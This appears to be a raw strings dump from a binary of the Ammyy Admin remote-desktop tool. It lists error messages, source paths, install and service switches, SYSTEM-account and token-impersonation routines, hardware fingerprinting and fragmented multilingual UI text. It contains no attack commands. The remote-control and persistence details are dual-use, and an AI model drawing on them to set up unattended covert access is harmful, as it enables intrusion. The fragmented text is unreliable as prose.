Content-Type: 
Content-Length: %d
%s %s HTTP/1.1
Host: %s
%s %s://%s%s HTTP/1.1
Host: %s
CHttpClient::ReadHttpResponse(): failed to find status code in the HTTP response...
CHttpClient::ProcessResponse(): unexpected status code in the HTTP response... (%d)
CHttpClient::ParseHeaderField(): failed to find field in line '%s'
CHttpClient::HttpLogin(): username and password must be not empty.
CHttpClient::HttpLogin(): wrong call. There is no active session.
Proxy-Authorization: NTLM %s
Authorization: NTLM %s
ERROR in CHttpNTLMAuthObject::Prepare(): AcquireCredentialsHandle() failed (result = 0x%x)
ERROR in CHttpNTLMAuthObject::Prepare(): invalid token size (size = %u)
ERROR in CHttpNTLMAuthObject::Prepare(): QuerySecurityPackageInfo() failed (result = 0x%x)
ERROR in GetAuthRequestToken::GetAuthRequestToken(): InitializeSecurityContext() failed (result = 0x%x)
ERROR in CHttpNTLMAuthObject::GetAuthResponseToken(): wrong NTLM response found (%s)
ERROR in CHttpNTLMAuthObject::GetAuthResponseToken(): NTLM response not found
ERROR in CHttpNTLMAuthObject::ProcessResponseToken(): InitializeSecurityContext() failed (result = 0x%x)
.?AVRLException@@
EncryptorRSA:GK error=%d
EncryptorRSA:Encr error=%d
EncryptorRSA:Decr error=%d
cbbccb
mmlmmlmlmmm
VA.(,PF
pfTA/ 
peUC0!
pfUC0"
qgWD0!
qgXD2"
riXE2#
 -log_by_settings
 -debug
AmmyyAdmin
Ammyy Admin
S:\Ammyy\sources\main\AmmyyApp.cpp
00000409
-password
-connect
-set_proxy_
-dosas_
-log_by_settings
-nogui
-service
-debug
WinMainWithOutGUI()#12
WinMainWithOutGUI()#11
WinMainWithOutGUI()#%u
Global\Ammyy.Service.FinishEvent
WinMainWithOutGUI()#0 sessionId=%d, activeSessionId=%d, processId=%u, root='%s'
ammyy_id.log
%u %I64d '%s' '%s' '%s'
Macs(%u): 
sessions.bin
-elevated
 -lunch
AmmyyAdmin_%X
WinMain()#2 %d
-remove
-install
-outid
-setsettings
-rstid
----------------WinMain()#1 version=%s, threadId=%X system=%d, %d=%d, build='%s', args='%S'
v%s - %s
-showversion
error %d in IsSystemUser()#3
S-1-5-18
error in IsSystemUser()#2
error %d in IsSystemUser()#1
Error=%d WSAStartup()
OS version %X
AmmyyApp::PopupApp#1
 -notstartclient
SetCurrentDirectoryW('%s') error=%u
Can't find any writtable folder
CreateDirectoryW('%s') error=%u
EFGHIJKL123456MNOPQRSTUVWXYZabcdefghABCDijklmnopqrstuvwxyz0789/-
http://rl.ammyy.com
ToStream() not implemented
CCmdBase::Send()#11
CCmdBase::Send()#10
CCmdBase::Send()#9
Bad reply from server#2 %s {%x}
CCmdBase::Send()#8
Bad reply from server#1 {%d}
CCmdBase::Send()#7
Error {%d} occured while reading from server "%s" 
HTTP status code=%u
Proxy Authentication Required
Error {%d} occured while connecting to server "%s" 
CCmdBase::Send()#5_ERROR
CCmdBase::Send()#2
CCmdBase::Send()#1
Invalid cmdID=%d from server
kernel32.dll
GetUserGeoID
GetNativeSystemInfo
%u.%u.%u %d SP%u.%u
%u.%u.%u %d
S:\Ammyy\sources\main\CmdBase.cpp
%u.%u.%d
SetupDiEnumDeviceInfo() ERROR=%d
RegQueryValueEx("NetCfgInstanceId") ERROR=%d
NetCfgInstanceId
RegOpenKey(%s) Error=%d
System\CurrentControlSet\Control\Class
SetupDiGetDeviceRegistryProperty(SPDRP_DRIVER) ERROR=%d
AddAdrs_2 %u %s
SetupDiGetDeviceRegistryProperty(SPDRP_ENMERATOR_NAME) ERROR=%d
SetupDiGetClassDevs() ERROR=%d
SetupDiClassGuidsFromName() ERROR=%d
GetAddress()#2 ERROR=%d while DeviceIoControl()
S:\Ammyy\sources\main\../RL/RLHardwareMac.h
GetAddress()#1 ERROR=%d while CreateFile()
\\.\%s
AddHI %u %I64d '%s' '%s' '%s'
Need >8Mb allocation! RPDWZR() %u %u
RPDWZR()#1 %u %u
\\.\PhysicalDrive%u
SCSIDISK
\\.\Scsi%d:
\\.\PhysicalDrive%d
GetFirstDiskExtent() %u %u
\\.\A:
CCmdInit::ToStream()#1
Incorrect reply from server status='%s'
UPDATE
%.4hd%.2hd%.2hd-%.2hd:%.2hd:%.2hd.%.3hd
%s %d %d
Internal ERROR in file %s
BEGIN: %s
can't create folder '%s' error %d
IsFolderWrittable()#1 %u %s
IsFolderWrittable()#end OK
IsFolderWrittable()#0 %s
_tmp\AMMYY_Admin.exe
settings.rdp
ammyy.log
settings.bin
Can't delete file '%s' error=%d
error=%d while renaming '%s' to '%s'
Jan 15 2014 at 00:25:19
S:\Ammyy\sources\main\Common.cpp
SetFileSecurityA() error=%u %s
SetSecurityDescriptorDacl() error=%u
InitializeSecurityDescriptor() error=%u
LocalAlloc() error=%u
SetEntriesInAcl() error=%u
AllocateAndInitializeSid() error=%u
SHGetFolderPathW() Error=%X
GetComputerName() error=%d
Windows
 SP%u.%u
%u.%u.%u
ERROR %d in GetModuleFileNameW()
ConvToUTF8()#3 %d %d
ConvToUTF8()#2 %d
ConvToUTF8()#1 %d
ConvToUTF16()#3 %d %d
ConvToUTF16()#2 %d
ConvToUTF16()#1 %d
Ammyy Admin v
SetSize(%u, %u)
S:\Ammyy\sources\main\Image.h
ID is empty
Export
Import
ID / IP
Computer with ID=%s already exists in the contact book
Folder with such name already exists
S:\Ammyy\sources\main\DlgContactBook.cpp
Do you want to delete folder with all children items ?
Bad format of contact file, count=%X
contacts.bin
contacts3.bin
Current Contact book will be erased. Do you want to continue ?
32 bit
24 bit
16 bit
8 bit grayscale
 - Encoder
Description can't be empty!
JPEG compression : 
quality=%u
Compression level:  %u
Invalid JPEG Level
 - Encoder profiles
photo JPEG 20%
speed >5 Mb
speed  1 Mb - 5 Mb
speed  256 Kb - 1 Mb
speed <256 Kb
Profile with such settings already exists
Profile with such name already exists
At least 1 encoder profile should exist
External TCP ports allow you increase connection speed by establishing direct TCP connections to your partner.
If any port is OFF we recommend that you configure your firewall or router for port forwarding. 
Also any port might be blocked by other application which may be turned off if not required (port 443 might be blocked by Internet Information Server).
status
checking
Couldn't open local port
Port should be number in range 1-65535
This port already exists
https=
Not found ProxyServer in registry
ProxyServer
Not found ProxyEnable in registry
ProxyEnable
Software\Microsoft\Windows\CurrentVersion\Internet Settings
Incorrect port
Incorrect address
Microsoft Sans Serif
Starter
Premium
Corporate
Can't create taskbar icon
S:\Ammyy\sources\main\DlgMain.cpp
&About Ammyy Admin...
Microsoft RDP
Speed Test only
File Manager only
Voice chat
Desktop - 
---ERROR---
Would you like to change proxy settings?
Critical error while updating Ammyy Admin.
Can't run '%s' error=%d
---NEED UPDATE---
-notstartclient
-startclient
Global\Ammyy.Target.EventSpeakerOn
Global\Ammyy.Target.StateEvent_%d%s_
Settings doesn't allow to use Client
desktop
speed_test
audio_chat
&page=buy.html
http://www.ammyy.com/?lang=
Free license (for home use only!)
Get ID
You need to restart application for applying new settings
S:\Ammyy\sources\main\DlgSettings.h
Default device
Windows Vista/7/2003/2008
Private
Public
Invalid router
Ammyy Permissions are protected from remote operator access
Desktop size = %d x %d x %d bits
average time of capturing = %.2f ms
average time of comparing = %.2f ms
AES-256 + RSA-1024
AES-256
http://www.ammyy.com
Error in Image
-minimize
CreateWindowEx() error=%u
RegisterClass() error=%u
We don't recommend for security reason to create permission for ANY operator without password
Do you want to continue?
The password was not correctly confirmed. Please ensure that the password and confirmation match exactly.
Incorrect computer ID
**********
Screen
Password
computer ID
Entry with new ID and password is already existed, but it will be replaced
Window mode
Full-screen mode
S:\Ammyy\sources\main\DlgRDPSettings.cpp
Default
Highest Quality (32 bit)
True Color (24 bit)
High Color (16 bit)
High Color (15 bit)
256 Colors (8 bit)
Do not play
Leave at remote computer
Bring to this computer
S:\Ammyy\sources\main\Downloader.cpp
Incorrect status code %d from '%s'
Error of getting file '%s'
Can't connect to server
Content-Type: application/x-www-form-urlencoded
Range: bytes=%d-
Accept-Encoding:gzip, deflate
Can't create file '%s' error %d
proc %s not found in %s (error %d)
DLL %s not found (error %d)
proc %s not found (error %d)
S:\Ammyy\sources\main\ImpersonateWrapper.cpp
WARN: GetProcAddress('WTSQueryUserToken') error=%d
WTSQueryUserToken
WARN: LoadLibrary('Wtsapi32.dll') error=%d
Wtsapi32.dll
ERROR %d OpenProcessToken()
ERROR %d OpenProcess()
ERROR: FindProcessByName('explorer.exe')
explorer.exe
ERROR: WTSQueryUserToken() error=%d
ERROR %d CloseHandle()
ERROR %d ImpersonateLoggedOnUser()
~ImpersonateWrapper()#1 error=%d
Invalid profile=%X
ERROR %d LoadUserProfile()
ERROR %d RevertToSelf()
ERROR %d GetUserName()
ERROR %d UnloadUserProfile()
Invalid router's IP is provided '%s'
Invalid router is provided '%s'
Access denied by server.
Couldn't get router ip, status='%s'
NOT_FOUND
Get Router IP
.?AVCWarningException@@
error=%d, while sending Initial msg
.?AVCStoppingException@@
ERROR: %s
Connected to router '%s:%d' successfully
Client's computer has other version
Incorrect password for router %s
Access denied by router %s
Invalid router's reply %u
Sent initial message to router %s
Connected to %s by HTTPS proxy
ERROR %d: failed to establish connection
Connecting to %s by proxy %s:%d
Connected to %s:%d
Couldn't connect to router %s:%d
Connecting to %s:%d
Invalid aaPingReply
Ping timeout was expired
Invalid initmsg %u
Invalid initmsg %u %u
Couldn't connect to routers %s
Your ID is empty
ReadNonBlock() error=%d
Router's 'Initial reply' timeout is expired
S:\Ammyy\sources\main\InteropCommon.cpp
CloseHandle() Error %d
CreateThread() Error %d
Error=%d while connecting to local RDP server
127.0.0.1
ReTranslator::DoSmart() return error=%d
ReTranslate#2 Direct Transfer FINISHED---
ReTranslate#1 Direct Transfer STARTED---
InteropTarget::ReTranslater#2 %d
InteropTarget::ReTranslater#1 i=%d
Invalid encryption settings
ERROR in CreateWindowW()
DecodeS1()#2
ReTranslator::Decode()#1 remote child use direct transfer now
DecodeS1()#1
setsockopt(SO_DONTLINGER) error=%d
DoSmart()#1 error=%d %d
ReTranslator::DoSmart()#159 solid socket send error=%d
ReTranslator::DoSmart()#159 solid socket read error=%d
ReTranslator::DoSmart()#166 child socket was closed, error=%d
ReTranslator::DoSmart()#170 sent request for direct transfer, bytes=%d/%d
ReTranslator::DoSmart()#165 child socket was closed, error=%d
ReTranslator::DoSmart()#139 Remote child socket was closed
ReTranslator::DoSmart()#0 solid=%X, child=%X
ReTranslator::SimpleRead1(%X) read %d bytes
ReTranslator::SimpleSend (%X) send %d bytes
ReTranslate()#1 error=%d %d
ReTranslator::SimpleRead()#1 error=%d
Norwegian
Finnish
Swedish
Hungarian
Danish
Turkish
Portuguese (Br)
Polish
Hebrew
French
Spanish
Italian
Russian
German
English
 Ammyy Admin v%s
Nastaven
Profily k
 heslo nen
, zkuste to znovu
m, zadejte heslo pro p
stup ke vzd
Zachovat datum a 
as soubor
m, zva
kup licence
ili jste limit %u spojen
 pro licenci %S na tomto po
et soub
ch spojen
zat spojen
ekejte na spojen
Po spu
ekat na spojen
 automaticky
stup k soubor
m pod aktu
ivatelsk
Nezobrazovat|Zobrazovat tvar|Zobrazovat tvar a polohu
ka|Mal
ka|Norm
ipka|Bez kurzoru
Toto spojen
 je neaktivn
ete se znovu p
ipojit b
kolika sekund.
 na autorizaci na vzd
adavek k p
stupu.
ipojen
Hlasov
vce soubor
rovat schr
nku oper
rovat schr
nku klienta
Zobrazit obrazovku
it moji odpov
 pro tohoto oper
tor%s se p
ipojuje k va
emu po
 Ammyy Admin v%s
 se o jinou verzi, spojen
 nemus
 pracovat spr
il spojen
 ID=%u nebyl nalezen.
Zobrazit tip - indikuje blik
 kurzoru my
zat vizu
 efekty
zat skl
 plochy
zat pozad
 plochy
nit tato nastaven
ed vzd
m oper
Spustit pod 
tem SYSTEM na %S
Zaznamen
vat ladic
 informace do souboru
Upozornit p
 do re
imu cel
 obrazovky
dat IP klientova routeru
stupov
m, zadejte ID/IP klienta
Pouze zobrazit (bez vzd
ho ovl
ID/IP klienta
&Povolit
 nastaven
Nastaven
Upravit
Odstranit
Instalace
Windows slu
ipojit
p do plik
w z bie
cego konta u
ytkownika
Zdalny komputer obs
uguje inn
 sesje
Ta sesja jest nieaktywna.
esz si
 ponownie za kilka sekund
Oczekiwanie na autoryzacje ze zdalnego komputera
Zdalny komputer odm
taj moj
 odpowied
 dla tego operatora
Operator o%s pr
buje nawi
 z Tob
czenie
Zdalny komputer u
ywa innej wersji Ammyy Admin. v%s
e to powodowa
 nieprawid
ci w dzia
Zdalny komputer przerwa
czenie
ID=%u Komputera nie zosta
o znalezione
Pokazuj podpowiedzi
Zablokuj efekty wizulane
Zablokuj zmiany kompozycji pulpitu
Zablokuj zmiany tapety pulpitu
 przed zmian
 ze zdalnej lokalizacji
anie na koncie klienta %S
Logowanie debugowania do pliku
Uwaga prze
czenie w tryb pe
nego ekranu
Zapytanie o IP routera klienta
ka adresowa
Ustawienia dost
 ID klienta
ID/IP Klienta
Twoje ID
&Odzrzu
&Akceptuj
Ustawienia wsp
Ustawienia
Edytuj
Zainstaluj
RDP Ayarlar
ifreleyici profilleri
ifre do
tfen tekrar deneyin
Uzak bilgisayara ba
lanmak i
ifre giriniz
zinler
ifreleme
Dosyalar
n tarih/zaman
 kopyala
tfen lisans almay
Bu bilgisayarda %S lisans
n %u ba
na ula
Uzak bilgisayar ba
na ula
 bekleniyor
 bekleniyor" modunu otomatik olarak ba
Dosyalara oturum a
 kullan
n hesab
 ile eri
sterme|
eklini g
eklini ve pozisyonunu g
Nokta|K
k nokta|Normal ok|
 aktif de
Bir ka
 saniye i
inde aktif bir ba
labilir.
Uzak bilgisayardan yetki bekleniyor
Uzak bilgisayar ba
inizi reddetti.
RDP ba
Sesli g
Dosya y
neticisi
Operat
n panosuna kopyala
stemcinin panosuna kopyala
Uzaktan eri
Bu operat
in yan
Operat
r%s bilgisayar
Uzak bilgisayar Ammyy Admin v%s
 kullan
yor. S
m farkl
undan dolay
 program sorunlu 
abilir!
Uzak bilgisayar ba
 kesti.
ID=%u'li bilgisayar bulunamad
ster - fare imleci parlamas
rsel efektleri g
sterme
effafl
k efektini g
sterme
Arkaplan resmini g
sterme
enekleri uzak operat
iminden koru
%S sistemlerinde SYSTEM hesab
Debug kayd
 dosyaya kaydet
Tam ekran moduna ge
erken uyar
terinin router IP'sini iste
im defteri
zinleri
tfen istemci ID/ IP giriniz
Sadece 
stemci ID/ IP
ID'niz
&Reddet
&Kabul Et
Ayarlar
Durdur
Servis
stemci
 Ammyy Admin. 
 ID=%u 
ID/IP 
El ordenador remoto est
 ocupado con otra sesi
La sesi
n se encuentra inactiva.
Puede reconectarse a la sesi
n activa en unos segundos.
Esperando Autorizaci
n de la PC remota.
El ordenador remoto rechaz
 su intento de acceso.
Recordar la respuesta para 
ste operador.
El Operador con la%s est
 conectandose a su PC.
&Rechazar
&Aceptar
La PC remota utiliza otra versi
n de Ammyy Admin v%s
It's, por lo que la aplicaci
n podr
a no funcionar correctamente.
El ordenador remoto ha finalizado la sesi
El ordenador con el ID=%u no se ha encontrado.
ID/IP Cliente
Por favor ingrese el ID del cliente
Detener
Comenzar
rrdatorn 
r upptagen med andra sessioner.
Denna session 
r inaktiv.
 Du kan 
teransluta till aktiv session om n
gra sekunder.
ntar p
telse fr
rdatorn
rrdatorn nekade 
tkomst.
Kom ih
g mitt svar f
r denna operat
Operat
r med%s ansluter till din PC.
&Acceptera
rrdatorn anv
nder Ammyy Admin v%s
r en annan version, s
 programmet kanske inte fungerar.
rrdatorn avslutade sessionen
Datorn med ID=%u hittades inte
nligen ange klientens ID
Operat
Ditt ID
Anslut
O computador Remoto est
 ocupado com outra sess
Esta sess
o esta inativa.
 poder
 reconectar em alguns segundos.
Esperando Autoriza
o do PC Remoto.
O computador Remoto rejeitou seu pedido de acesso.
Relembrar minha resposta para este operador
O Operador com%s esta conectando ao seu PC.
&Rejeitar
&Aceitar
O Computador Remoto usa outra vers
o do Ammyy Admin v%s
 outra vers
o, o programa poder
 trabalhar incorretamente!
O Computador Remoto fechou essa sess
O Computador ID=%u n
o foi encontrado.
Cliente ID/IP
Por favor insira a ID do Cliente
Operador
Cliente
Sua ID
Conectar
RDP-innstillinger
Krypteringsprofiler
Passordet er feil. Vennligst pr
v igjen
Vennligst skriv inn passord for 
 koble til den eksterne datamaskinen
Tillatelser
Kryptering
Kopier filenes dato/klokkeslett
Vennligst kj
p en lisens
Du har overskredet %u 
kt-grensen for %S denne datamaskinens lisens
Den eksterne datamaskinen overskred 
kt-grensen
Opprett 
Vent p
Start "Vent p
kt" Automatisk modus
Gi tilgang til filer under gjeldende brukerkonto
Ikke vis|Vis form|Vis form and posisjon
Punkt|Lite punkt|Normal peker|Ingen mark
Denne 
kten er inaktiv.
Du kan koble til den aktive 
kten om noen sekunder.
Venter p
 godkjenning fra den andre pc'en
Den eksterne datamaskinen nektet tilkoblingsfors
RDP-tilkobling
Filbehandler
Kopier operat
rens utklippstavle
Kopier klientens utklippstavle
Fjernkontroll
Vis skjermen
Husk svaret for denne operat
Operat
ren%s kobler til din PC.
Den eksterne pc'en bruker Ammyy Admin v%s
Det er en annen versjon, s
 programmet kan fungere p
 en feil m
Den eksterne datamaskinen stengte denne 
Datamaskinens ID=%u ble ikke funnet.
Vis verkt
 av visuelle effekter
 av skrivebordsoppretting
Ikke vis skrivebordsbakgrunn
Hindre ekstern operat
 endre disse innstillingene
r under SYSTEM-konto i %S
Logg feils
kingsinformasjon til fil
Advar ved bytte til fullskjermmodus
Be om klientens router-IP
Kontakter
Adgangstillatelser
Vennligst skriv inn klient-ID/ IP
Bare se
Klient-ID/ IP
Din ID
&Godta
Nettverk
vanlig
Innstillinger
Rediger
Legg til
Avslutt
Koble til
De andere computer is bezig met een andere sessie.
De sessie is niet actief.
 U kunt opnieuw verbinden in enkele seconden
Op toestemming wachten van andere PC
De andere computer heeft toegang geweigerd.
Onthoudt mijn antwoord voor deze operator
Operator met%s is verbinding aan het maken met uw PC.
&Weiger
&Accepteer
De andere computer gebruikt Ammyy Admin v%s
l's andere versie, en kan problemen geven!
De andere computer heeft de sessie afgebroken.
De computer ID=%u is niet gevonden.
Client ID/IP
Vul client ID in
Impostazioni RDP
Profili encoder
La password inserita non 
 valida, riprovare
Inserire la password di accesso al computer remoto
Permessi
Criptazione
Copia ora/data dei file
Valutare l'acquisto di una licenza
Il limite di %u sessions per la licenza %S di questo computer 
 stato superato
Il computer remoto ha superato il limite di sessioni concomitanti
Crea sessione
Attendi sessione
Avvia modalit
 "attendi sessione" automaticamente
Accedi ai file con ut
Non mostrare|Mostra forma|Mostra forma e posizione
Punto|Piccolo punto|Normale freccia|Nessun cursore
Questa sessione 
 inattiva.
 possibile riconnettersi a una sessione remota tra qualche secondo.
In attesa di autorizzazione dal PC remoto
Il computer remoto ha rifiutato la richiesta d'accesso.
Connessione RDP
Chat vocale
Copia appunti dell'operatore
Copia appunti del client
Controllo remoto
Visualizza schermata
Ricorda la mia risposta per questo operatore
L'operatore%s si sta collegando al PC.
Il pc remoto usa una versione diversa di Ammyy Admin v%s
, pertanto il programma non pu
 funzinare correttamente!
Il computer remoto ha chiuso questa sessione.
L'ID=%u del computer non 
 stata trovata.
Mostra descrizione comando - fai lampeggiare il puntatore del mouse
Disattiva effetti visivi
Disattiva composizione desktop
Disattiva sfondo del desktop
Proteggi queste impostazioni da operatore remoto
Esegui sotto account SYSTEM su %S
Registra le info di debug in un file
Avvisa al passaggio in modalit
 a pieno schermo
Richiedi IP del router del client
Rubrica
Permessi di accesso
Inserire ID/IP client
Solo visualizzazione
ID client/ IP
Il tuo ID
&Rifiuta
&Accetta
Comune
Impostazioni
Modifica
Aggiungi
Rimuovi
Arresta
Installa
Servizio
Connetti
Operatore
tres RDP
Profils encodeur
Le mot de passe que vous avez entr
 n'est pas valide, veuillez r
essayer
Veuillez saisir le mot de passe pour acc
 l'ordinateur 
 distance
Autorisations
Chiffrement
Copier la date/l'heure des fichiers
Veuillez envisager d'acheter une licence
Vous avez d
 la limite de %u sessions avec la licence %S sur cet ordinateur
L'ordinateur 
 distance a d
 la limite de sessions simultan
er la session
Attendre la session
Commencer automatiquement en mode "Attendre la session"
der aux fichiers avec le compte utilisateur actuel
Ne pas afficher|Afficher forme|Afficher forme et position
Point|Petit point|Fl
che normale|Aucun curseur
Cette session est inactive.
Vous pouvez vous reconnecter 
 une session active dans quelques secondes.
En attente de l'autorisation du PC 
 distance
L'ordinateur 
 distance a rejet
 votre requ
te d'acc
Connexion RDP
Chat vocal
Gestionnaire de fichiers
Copier le presse-papiers de l'op
rateur
Copier le presse-papiers du client
 distance
Afficher l'
Se souvenir de ma r
ponse pour cet op
rateur
rateur%s se connecte 
 votre PC.
Le PC 
 distance utilise Ammyy Admin v%s
La version est diff
rente et le programme ne peut donc pas fonctionner correctement
L'ordinateur 
 distance a ferm
 cette session.
L'ID de l'ordinateur=%u n'a pas 
 trouv
Afficher info-bulle - cause du clignotement du curseur souris
sactiver les effets visuels
sactiver la composition du bureau
sactiver l'arri
re-plan du bureau
cher l
rateur 
 distance de modifier ces r
glages
cuter sur le compte SYSTEM sur %S
Enregistrer les informations de d
bogage dans le fichier
Avertir lors du passage en mode plein 
Demander l'IP du routeur du client
Contacts
Autorisations d'acc
Veuillez saisir ID/IP Client
Affichage uniquement
ID/IP Client
Votre ID
&Refuser
&Accepter
Commun
Modifier
Ajouter
Supprimer
marrer
Installer
Quitter
Se connecter
rateur
Varattu, et
tietokoneessa on toinen istunto auki.
Istunto ei ole aktiivinen. 
Aktivoidaksesi istunnon, voit yhdist
 uudelleen hetken kuluttua.
Odotetaan valtuutusta et
tietokoneelta
tietokone hylk
si yhteysyrityksen.
Muista valinta t
lle operaattorille
Operaattori%s yritt
 yhdist
 tietokoneellesi.
Ohjelma ei voi toimia oikein. Et
tietokoneen k
 on eri versio Ammyy Admin v%s
 ohjelmistosta.
tietokone sulki yhteyden.
Tietokonetta ID:ll
 %u ei l
Asiakas-ID/IP
 asiakas-ID
Operaattori
Asiakas
ID-numero
Yhdist
Aloita
RDP-Einstellungen
Encoder-Profile
Das eingegebene Kennwort ist ung
ltig, bitte versuchen Sie es noch einmal
Bitte geben Sie das Kennwort f
r den Zugriff auf den Remotecomputer ein
Berechtigungen
Verschl
sselung
Datum/Uhrzeit von Dateien kopieren
Bitte erw
gen Sie den Kauf einer Lizenz
Sie haben das Limit von %u Sitzungen mit Lizenz %S auf diesem Computer 
berschritten
Der Remotecomputer hat das Limit gleichzeitiger Sitzungen erreicht
Sitzung erstellen
Auf Sitzung warten
Modus "auf Sitzung warten" automatisch starten
Mit aktuellem Benutzerkonto auf Dateien zugreifen
Nicht anzeigen|Umriss anzeigen|Umriss und Position anzeigen
Punkt|Kleiner Punkt|Normaler Pfeil|Kein Cursor
Diese Sitzung ist inaktiv.
In einigen Sekunden ist eine neue Verbindung mit einer aktiven Sitzung m
glich.
Warten auf Annahme des Remotecomputers
Die Zugriffsanforderung wurde vom Remotecomputer abgelehnt.
RDP-Verbindung
Sprach-Chat
Dateimanager
Zwischenablage des Operators kopieren
Zwischenablage des Clients kopieren
Remotesteuerung
Bildschirm anzeigen
Meine Antwort f
r diesen Operator speichern
Operator %s stellt eine Verbindung mit Ihrem PC her.
Auf dem Remote-PC wird Ammyy Admin v%s verwendet.
Das ist eine andere Version, es kann daher zu fehlerhafter Ausf
hrung kommen!
Diese Sitzung wurde vom Remotecomputer geschlossen.
Der Computer ID=%u wurde nicht gefunden.
Tooltip anzeigen 
 Ursache f
r blinkenden Cursor
Visuelle Effekte deaktivieren
Desktopzusammensetzung deaktivieren
Desktophintergrund deaktivieren
Diese Einstellungen vor Remoteoperator sch
Unter Konto SYSTEM auf %S ausf
Debug-Daten in Datei protokollieren
Bei Umschalten in den Vollbildmodus warnen
Router-IP des Clients anfordern
Kontaktbuch
Zugriffsberechtigungen
Bitte Client-ID/-IP eingeben
Schreibgesch
Client-ID/-IP
Ihre ID
&Ablehnen
&Annehmen
Netzwerk
Gemeinsam
Einstellungen
Bearbeiten
Hinzuf
Entfernen
Anhalten
Starten
Installieren
Beenden
Verbinden
Fjerncomputeren er optaget af en anden session.
Denne session er inaktiv. 
 Du kan tilslutte igen om et 
jeblik.
Afventer godkendelse fra fjern PC.
Adgang n
Gem mit svar
Admin med%s tilslutter til din PC
&Afvis
&Godkend
Fjernbrugeren anvender Ammyy Admin v%s
 Programmet virker muligvis ikke korekt.
Fjernbrugeren afsluttede sessionen
Computer med ID=%u ikke fundet
Klient-ID/IP
Venligst angiv Klient-ID
Operat
Klient
Tilslut
voli sz
pen egy m
sik kapcsolat m
A kapcsolat inakt
jrakapcsol
dhat n
sodperc m
voli sz
p enged
voli sz
p visszautas
totta a kapcsolat elfogad
kezzen a v
laszomra ezt az oper
tort illetoen
vetkezo%s sz
tor az 
hez kapcsol
&Elutas
&Elfogad
voli sz
ltal haszn
lt Ammyy Admin verzi
Mivel a verzi
ro, hib
phet fel.
voli sz
p megszak
totta a kapcsolatot
vetkezo ID nem tal
Kliens ID/IP
rem, adja meg a kliens ID-j
Kliens
n ID-je
Kapcsol
 Ammyy Admin 
 Ammyy Admin v%s
 ID=%u 
 ID/ IP 
ID/ IP 
Path for acessing of File Manager. (Empty for accessing all files).
Would you like to close Ammyy Admin application and all active sessions ?
Number of current active sessions: %u
Automatically lock this computer after finishing all sessions
Video system speed test
RDP Settings
Encoder profiles
The password you have entered is invalid, please try again
Please enter password for accessing remote computer
Permissions
Encryption
Copy date/time of files
Please consider buying a license
You've exceeded %u sessions limit for %S license on this computer
The remote computer exceeded concurrent sessions limit
Create session
Wait for session
Start "wait for session" mode automatically
Access files under current user account
Don't show|Show shape|Show shape and position
Dot|Small dot|Normal arrow|No cursor
This session is inactive.
You can reconnect to an active session in a few seconds.
Waiting for authorization from remote PC
Remote computer rejected your query to access.
RDP connection
File manager
Copy clipboard of operator
Copy clipboard of client
Remote control
View screen
Remember my answer for this operator
Operator%s is connecting to your PC.
The remote pc uses Ammyy Admin v%s
It's other version, so the program can work incorrectly!
The remote computer closed this session.
The computer ID=%u wasn't found.
Show tooltip - mouse cursor blinking cause
Disable visual effects
Disable desktop composition
Disable desktop background
Protect these settings from remote operator
Run under SYSTEM account on %S
Log debugging info into file
Warn at switching to the full-screen mode
Request client's router IP
Contact book
Access Permissions
Please enter client ID/ IP
View only
Client ID/ IP
Your ID
&Reject
&Accept
Network
Common
Settings
Remove
Install
Service
Connect
Operator
Client
ConvToUTF16()#2 %d %d %d
Incorrect key GetValue()
ServerInteract::SendInitCmd()#6
ServerInteract::SendInitCmd()#4 %s
ServerInteract::SendInitCmd()#3 updating to new version
ServerInteract::SendInitCmd()#1
Downloading '%s' %d%%, %.1f Kbytes/sec
UpdateResource() error=%d
EndUpdateResource() error=%d
BINARY
BeginUpdateResource() error=%d
ServerInteract::UpdateToNewVersion()#20 starting service
Couldn't remove file '%s'
Global\Ammyy.Service.CloseSelfEvent
ServerInteract::UpdateToNewVersion()#10 stopping service
_tmp\AMMYY_Admin.bin
ERROR: StartServiceCtrlDispatcher() %d
CService::WinMain()#begin
ServiceMain() Invalid session
-lunch
ERROR %d SetServiceStatus()
CService::ServiceWorkThread()#13
CService::ServiceWorkThread()#12
CService::ServiceWorkThread()#11
CService::ServiceWorkThread()#10
ServiceWorkThread() creating new process, session=%d
ERROR: CloseHandle()#533 %d
CService::ServiceWorkThread()#1
ERROR: GetExitCodeProcess() %d
WinStationQueryInformationW
ERROR: GetToken()#2
ERROR: SetTokenInformation() error=%d
ERROR: DuplicateToken() error=%d
ERROR: OpenProcessToken() error=%d
ERROR: CloseHandle(pi.hThread) %d
ERROR: CreateProcessAsUser() error=%d, session=%d
CreateProcess1()#3 %d error=%d
ERROR: CloseHandle(hToken) %d
ERROR: OpenProcess(%u) error=%d
CreateProcess1()#1 session=%d custom=%d
ERROR %d CreateServiceW() while registering the Ammyy service
The Ammyy service is already registered
SYSTEM\CurrentControlSet\Control\SafeBoot\Network\
The Ammyy service could not be found
The Ammyy service could not be removed, error=%d
The Ammyy service is already marked for removing
The Ammyy service could not be stopped
ERROR %d ControlService()
ERROR %d QueryServiceStatus()
ERROR %d (%S) while starting the AMMYY service
 service has been removed
 service has been stopped
 service has been started
 service was successfully registered
It will automatically be run the next time this computer is restart or you can start it manually.
OpenSCManager() error %d
DeleteService() error %d
QueryServiceStatus() error %d
StartService() error %d
OpenService() error %d
JustLunch() Invalid Session
SOFTWARE\Ammyy\Admin
aSg@f1H_hjy!
.?AVRLStreamOutException@@
settings3.bin
Router is not defined
HKEY_LOCAL_MACHINE %s
SHdr1 %s
LoadHr() %d %s
sS:\Ammyy\sources\main\StdAfx.cpp
Error %d socket()
CreateInternal()#1
Error %d closesocket()
couldn't listen port %d, error = %d
couldn't bind port %d, error = %d
select() error=%d
accept() error=%d
Error %d while connecting to '%s', port=%u
ERROR %d disabling Nagle's algorithm
ERROR %d while setting keepalive
ERROR %d setsockopt(SO_KEEPALIVE)
getaddrinfo('%s') error=%d, result=%X
getaddrinfo('%s') couldn't be resolved
\wship6
\ws2_32
freeaddrinfo
getnameinfo
getaddrinfo
ERROR %d while listen() in ListenFreePort(), port=%d
ERROR while search free TCP ports %u-%u
Error=%d in SetBlockingMode(%u)
setsockopt(SO_LINGER) %u
Error=%d setsockopt()
.?AVTransportException@@
ERROR %d in TCP::TryRead()#1 %d socket=%X
getpeername() error=%d
GetIPs#%d
closesocket() %u
ERROR in TransportTCP1::IsReadyForRead()#1 %d
TCP by router 
Direct TCP with 
ERROR in TransportTCP1::SendExact()#1 %d
ERROR %d %d in TransportTCP1::SendFromQueue()#1
ERROR %d %d in TransportTCP1::ReadExact()#2
ERROR in TransportTCP1::ReadExact()#1 %d
ERROR %d in TransportTCP2::ReadExact()#1 %d
